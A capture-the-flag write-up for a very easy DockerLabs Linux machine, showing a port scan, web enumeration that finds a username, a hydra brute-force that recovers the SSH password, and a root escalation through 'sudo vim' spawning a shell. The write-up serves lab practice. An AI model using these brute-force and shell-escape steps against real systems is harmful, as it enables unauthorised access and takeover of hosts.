DockerLabs — https://dockerlabs.es/
- Platform: DockerLabs
- OS: Linux
- Difficulty: Very Easy
Scan
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 19:a1:1a:42:fa:3a:9d:9a:0f:ea:91:7f:7e:db:a3:c7 (ECDSA)
|_ 256 a6:fd:cf:45:a6:95:05:2c:58:10:73:8d:39:57:2b:ff (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: 02:42:AC:12:00:02 (Unknown)
Enumeration
SSH (22)
Password based authentication
❯ ssh root@172.18.0.2
The authenticity of host '172.18.0.2 (172.18.0.2)' can't be established.
ED25519 key fingerprint is: SHA256:z6uc1wEgwh6GGiDrEIM8ABQT1LGC4CfYAYnV4GXRUVE
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.18.0.2' (ED25519) to the list of known hosts.
root@172.18.0.2's password:
HTTP (80)
- Dir and files enumeration (html, php, txt)
/index.html (Status: 200) [Size: 10701]
/secret.php (Status: 200) [Size: 927]
/server-status (Status: 403) [Size: 275]
secret.phpshowsmarioas posible username

Exploitation
SSH passwordfound formario(usinghydra)
[22][ssh] host: 172.18.0.2 login: mario password: chocolate
SSH sessionasmario
mario@5b25d65c0de4:~$ id
uid=1000(mario) gid=1000(mario) groups=1000(mario),100(users)
Post-Exploitation
mariocan runvimas root (sudo)
mario@5b25d65c0de4:~$ sudo -l
[sudo] password for mario:
Matching Defaults entries for mario on 5b25d65c0de4:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User mario may run the following commands on 5b25d65c0de4:
(ALL) /usr/bin/vim
root privesc
mario@5b25d65c0de4:~$ sudo vim -c '!/bin/bash'
root@5b25d65c0de4:/home/mario# id
uid=0(root) gid=0(root) groups=0(root)
root@5b25d65c0de4:/home/mario#